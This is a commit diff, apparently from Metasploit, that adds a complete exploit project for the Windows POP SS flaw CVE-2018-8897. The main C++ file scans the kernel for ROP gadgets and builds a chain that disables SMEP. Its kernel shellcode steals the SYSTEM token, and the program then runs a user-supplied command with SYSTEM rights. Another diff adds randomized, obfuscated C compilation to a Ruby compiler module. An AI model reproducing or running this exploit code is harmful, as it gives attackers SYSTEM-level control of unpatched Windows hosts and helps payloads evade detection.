static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc )
{
BOOLEAN Enabled = 0;
return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled;
}

View File

@ -0,0 +1,12 @@
# CVE-2018-8897
Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages.
- KVA Shadowing should be disabled and [the relevant security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897) should be uninstalled.
- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3.
## Detailed explanation:
https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/
## Result:
![](https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png)
![](https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png)

View File

@ -0,0 +1,387 @@
#include <iostream>
#include <Windows.h>
#include <intrin.h>
#include "KernelRoutines.h"
#include "LockedMemory.h"
#include "Native.h"
#include "Error.h"
struct ISR_STACK
{
uint64_t RIP;
uint64_t CS;
uint64_t EF;
uint64_t RSP;
};
// Doensn't really change
static const uint32_t Offset_Pcr__Self = 0x18;
static const uint32_t Offset_Pcr__CurrentPrcb = 0x20;
static const uint32_t Offset_Pcr__Prcb = 0x180;
static const uint32_t Offset_Prcb__CurrentThread = 0x8;
static const uint32_t Offset_Context__XMM13 = 0x270;
static const uint32_t MxCsr__DefVal = 0x1F80;
static const uint32_t Offset_Prcb__RspBase = 0x28;
static const uint32_t Offset_KThread__InitialStack = 0x28;
static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0;
static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18;
// Requires patterns
NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx
NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess
NON_PAGED_DATA uint64_t ContextBackup[ 10 ];
NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0;
NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0;
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
NON_PAGED_DATA ptrdiff_t StackDelta = 0;
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
// Uncomment if it bugchecks to debug:
// __writedr( 2, StackDelta );
// __writedr( 3, PredictedNextRsp );
// __debugbreak();
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
__rollback_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 --
fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------
uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );
// ------ KERNEL CODE ------
__swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
}
PUCHAR AllocateLockedMemoryForKernel( SIZE_T Sz )
{
PUCHAR Va = ( PUCHAR ) VirtualAlloc( 0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
ZeroMemory( Va, Sz );
for ( int i = 0; i < Sz; i += 0x1000 )
Np_TryLockPage( Va + i );
return Va;
}
int main(int argc, char *argv[])
{
if (argc < 2){
return 0;
}
// Pre-init checks: KVA Shadow
SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 };
if ( !NtQuerySystemInformation( SystemKernelVaShadowInformation, &KvaInfo, ( uint64_t ) sizeof( KvaInfo ), 0ull ) )
assert( !KvaInfo.KvaShadowFlags.KvaShadowEnabled );
// Initialization: Memory allocation, locking sections, loading nt
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
assert( Np_LockSections() );
assert( Np_TryLockPage( &__rollback_isr ) );
assert( Np_TryLockPage( &__swapgs ) );
KernelContext* KrCtx = Kr_InitContext();
assert( KrCtx );
static PUCHAR Pcr = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR KThread = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR KProcess = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb;
// Offsets: Finding offsets and ROP gadgets
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xB );
PIMAGE_DOS_HEADER DosHeader = ( PIMAGE_DOS_HEADER ) KrCtx->NtLib;
PIMAGE_NT_HEADERS FileHeader = ( PIMAGE_NT_HEADERS ) ( ( uint64_t ) DosHeader + DosHeader->e_lfanew );
PIMAGE_SECTION_HEADER SectionHeader = ( PIMAGE_SECTION_HEADER ) ( ( ( uint64_t ) &FileHeader->OptionalHeader ) + FileHeader->FileHeader.SizeOfOptionalHeader );
while ( _strcmpi( ( char* ) SectionHeader->Name, ".text" ) ) SectionHeader++;
uint64_t AdrRetn = 0;
uint64_t AdrPopRcxRetn = 0;
uint64_t AdrSetCr4Retn = 0;
PUCHAR NtBegin = ( PUCHAR ) KrCtx->NtLib + SectionHeader->VirtualAddress;
PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize;
// Find [RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0xC3 )
{
AdrRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [POP RCX; RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0x59 && It[ 1 ] == 0xC3 )
{
AdrPopRcxRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [MOV CR4, RCX; RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0x0F && It[ 1 ] == 0x22 &&
It[ 2 ] == 0xE1 && It[ 3 ] == 0xC3 )
{
AdrSetCr4Retn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
printf( "[+] [RETN] Gadget @ %16llx\n", AdrRetn );
printf( "[+] [POP RCX; RETN] Gadget @ %16llx\n", AdrPopRcxRetn );
printf( "[+] [MOV CR4, RCX; RETN] Gadget @ %16llx\n", AdrSetCr4Retn );
assert( AdrRetn );
assert( AdrPopRcxRetn );
assert( AdrSetCr4Retn );
PUCHAR UPsGetCurrentProcess = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "PsGetCurrentProcess" );
PUCHAR UKeBugCheckEx = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "KeBugCheckEx" );
for ( int i = 0; i < 0x50; i++ )
{
if ( UKeBugCheckEx[ i ] == 0x48 && UKeBugCheckEx[ i + 1 ] == 0x8B && // mov rax,
UKeBugCheckEx[ i + 7 ] == 0xE8 ) // call
{
Offset_Prcb__Context = *( int32_t * ) ( UKeBugCheckEx + i + 3 );
break;
}
}
for ( int i = 0; i < 0x50; i++ )
{
if ( UPsGetCurrentProcess[ i ] == 0x48 && UPsGetCurrentProcess[ i + 1 ] == 0x8B && // mov rax,
UPsGetCurrentProcess[ i + 7 ] == 0xC3 ) // retn
{
Offset_KThread__ApcStateFill__Process = *( int32_t * ) ( UPsGetCurrentProcess + i + 3 );
break;
}
}
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "[+] Prcb.Context @ %16llx\n", Offset_Prcb__Context );
printf( "[+] KThread.ApcStateFill.Process @ %16llx\n", Offset_KThread__ApcStateFill__Process );
assert( Offset_Prcb__Context );
assert( Offset_KThread__ApcStateFill__Process );
// Setting up GSBASE
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xC );
*( PVOID* ) ( Pcr + Offset_Pcr__Self ) = Pcr; // Pcr.Self
*( PVOID* ) ( Pcr + Offset_Pcr__CurrentPrcb ) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb
*( DWORD* ) ( Prcb ) = MxCsr__DefVal; // Prcb.MxCsr
*( PVOID* ) ( Prcb + Offset_Prcb__CurrentThread ) = KThread; // Prcb.CurrentThread
*( PVOID* ) ( Prcb + Offset_Prcb__Context ) = Prcb + 0x3000; // Prcb.Context, Placeholder
*( PVOID* ) ( KThread + Offset_KThread__ApcStateFill__Process ) = KProcess; // EThread.ApcStateFill.EProcess
*( PVOID* ) ( Prcb + Offset_Prcb__RspBase ) = (PVOID) 1; // Prcb.RspBase
*( PVOID* ) ( KThread + Offset_KThread__InitialStack ) = 0; // EThread.InitialStack
printf( "[+] Finished setting up fake PCR!\n" );
printf( "[+] Pcr @ %16llx\n", Pcr );
printf( "[+] Prcb @ %16llx\n", Prcb );
printf( "[+] EThread @ %16llx\n", KThread );
printf( "[+] EProcess @ %16llx\n", KProcess );
NON_PAGED_DATA static DWORD SavedSS = __readss();
// Execute Exploit!
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD
{
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault's
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
return 0;
}, 0, 0, 0 );
assert( ThreadHandle );
printf( "\n- Created context watchdog\n" );
printf( "- Thread Id: %16llx\n", ( HANDLE ) GetThreadId( ThreadHandle ) );
assert( SetThreadPriority( ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL ) );
printf( "- Elevated priority to: THREAD_PRIORITY_TIME_CRITICAL\n" );
SetThreadAffinityMask( ThreadHandle, 0xFFFFFFFE );
SetThreadAffinityMask( HANDLE( -2 ), 0x00000001 );
printf( "- Seperated exploit and context watchdog processors\n" );
k_ExAllocatePool = KrCtx->GetProcAddress<>( "ExAllocatePool" );
k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>( "PsReferencePrimaryToken" );
k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>( "PsDereferencePrimaryToken" );
k_PsGetCurrentProcess = KrCtx->GetProcAddress<>( "PsGetCurrentProcess" );
k_PsInitialSystemProcess = KrCtx->GetProcAddress<uint64_t*>( "PsInitialSystemProcess" );
printf( "\n" );
printf( "- PsInitialSystemProcess: %16llx\n", k_PsInitialSystemProcess );
printf( "- PsGetCurrentProcess: %16llx\n", k_PsGetCurrentProcess );
printf( "- PsReferencePrimaryToken: %16llx\n", k_PsReferencePrimaryToken );
printf( "- PsDereferencePrimaryToken: %16llx\n", k_PsDereferencePrimaryToken );
printf( "- ExAllocatePool: %16llx\n", k_ExAllocatePool );
printf( "\n" );
printf( "/--------------------------------------\\\n" );
printf( "| Press any key to start exploit! |\n" );
printf( "| Warning: This may bugcheck your PC. |\n" );
printf( "\\--------------------------------------/\n" );
//system( "pause>nul" );
printf( "\n" );
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( uint64_t ) &SavedSS; // Trap SS
Ctx.Dr1 = ( uint64_t ) Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage
Ctx.Dr7 =
( 1 << 0 ) | ( 3 << 16 ) | ( 3 << 18 ) | // R/W, 4 Bytes, Active
( 1 << 2 ) | ( 3 << 20 ) | ( 2 << 22 ); // W, 8 Bytes, Active
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
printf( "[+] Setting up debug registers:\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "Dr0: %16llx [@SavedSS] (R/W, 4 Bytes, Active)\n", Ctx.Dr0 );
printf( "Dr1: %16llx [@SpecialRegisters.CR4] (W, 8 Bytes, Active)\n", Ctx.Dr1 );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
assert( SetThreadContext( HANDLE( -2 ), &Ctx ) );
printf( "\n" );
uint64_t RetnRetn[ 2 ] = { AdrRetn, AdrRetn };
uint64_t PopRcxRetnRcx[ 2 ] = { AdrPopRcxRetn, 0x506f8 };
uint64_t SetCr4Retn[ 2 ] = { AdrSetCr4Retn, ( uint64_t ) &KernelShellcode };
// RSP:
__setxmm13( ( BYTE* ) RetnRetn ); // &retn // we need to align xmm writes so two place holders just incase!
// &retn
__setxmm14( ( BYTE* ) PopRcxRetnRcx ); // &pop rcx
// 0x506f8
__setxmm15( ( BYTE* ) SetCr4Retn ); // &mov cr4, rcx; retn
// &KernelShellcode
printf( "[+] Built ROP Chain:\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "-- &retn; (%016llx)\n", RetnRetn[ 0 ] );
printf( "-- &retn; (%016llx)\n", RetnRetn[ 1 ] );
printf( "-- &pop rcx; retn; (%016llx)\n", PopRcxRetnRcx[ 0 ] );
printf( "-- cr4_nosmep (%016llx)\n", PopRcxRetnRcx[ 1 ] );
printf( "-- &mov cr4, rcx; retn; (%016llx)\n", SetCr4Retn[ 0 ] );
printf( "-- &KernelShellcode (%016llx)\n", SetCr4Retn[ 1 ] );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
printf( "\n" );
PVOID ProperGsBase = __read_gs_base();
printf( "[+] Writing fake PCR as new GSBASE: %16llx\n", Pcr );
printf( "[+] Defering debug exception...\n" );
__set_gs_base( Pcr );
__triggervuln( ContextBackup, &SavedSS ); // Let the fun begin
__set_gs_base( ProperGsBase );
printf( "[+] Restored old GSBASE: %16llx\n", ProperGsBase );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
printf( "[+] Exploit successful!\n\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
printf( "/------------------------------------------\\\n" );
printf( "| Press any key to launch a system console |\n" );
printf( "\\------------------------------------------/" );
//system( "pause>nul" );
system( argv[1] );
}

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2018-8897-exe", "cve-2018-8897-exe.vcxproj", "{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.ActiveCfg = Debug|Win32
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.Build.0 = Debug|Win32
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.ActiveCfg = Release|x64
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,160 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Error.h" />
<ClInclude Include="KernelRoutines.h" />
<ClInclude Include="LockedMemory.h" />
<ClInclude Include="Native.h" />
<ClInclude Include="NtDefines.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2018-8897-exe.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="Native.asm" />
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>cve20188897exe</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,44 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="KernelRoutines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="LockedMemory.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Native.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NtDefines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Error.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2018-8897-exe.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="Native.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

View File

@ -2,6 +2,7 @@ require 'metasm'
require 'erb'
require 'metasploit/framework/compiler/utils'
require 'metasploit/framework/compiler/headers/windows'
require 'metasploit/framework/obfuscation/crandomizer'
module Metasploit
module Framework
@ -13,7 +14,7 @@ module Metasploit
#
# @param c_template [String] The C source code to compile.
# @param type [Symbol] PE type, either :exe or :dll
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
@ -36,12 +37,40 @@ module Metasploit
# @param out_file [String] The file path to save the binary as.
# @param c_template [String] The C source code to compile.
# @param type [Symbol] PE type, either :exe or :dll
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
# @return [Integer] The number of bytes written.
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
pe = self.compile(c_template, type)
File.write(out_file, pe)
end
# Returns the binary of a randomized and compiled source code.
#
# @param c_template [String]
#
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.compile_random_c(c_template, opts={})
type = opts[:type] || :exe
cpu = opts[:cpu] || Metasm::Ia32.new
weight = opts[:weight] || 80
headers = Compiler::Headers::Windows.new
source_code = Compiler::Utils.normalize_code(c_template, headers)
randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight)
randomized_code = randomizer.parse(source_code)
self.compile_c(randomized_code.to_s, type, cpu)
end
# Saves the randomized compiled code as a file. This is basically a wrapper for #self.compile_random_c
#
# @param out_file [String] The file path to save the binary as.
# @param c_template [String] The C source code to randomize and compile.
# @param opts [Hash] Options to pass to #compile_random_c
# @return [Integer] The number of bytes written.
def self.compile_random_c_to_file(out_file, c_template, opts={})
pe = self.compile_random_c(c_template, opts)
File.write(out_file, pe)
end
end
end

View File

@ -61,6 +61,23 @@ class DataProxy
set_data_service(data_service_id)
end
#
# Delete the specified data service
#
def delete_data_service(data_service_id)
raise ArgumentError.new('Cannot delete data service id: 1') if data_service_id.to_i == 1
data_service = @data_services.delete(data_service_id.to_i)
if data_service.nil?
raise "Data service with id: #{data_service_id} does not exist"
end
if @current_data_service == data_service
# set the current data service to the first data service created
@current_data_service = @data_services[1]
end
end
#
# Set the data service to be used
#

View File

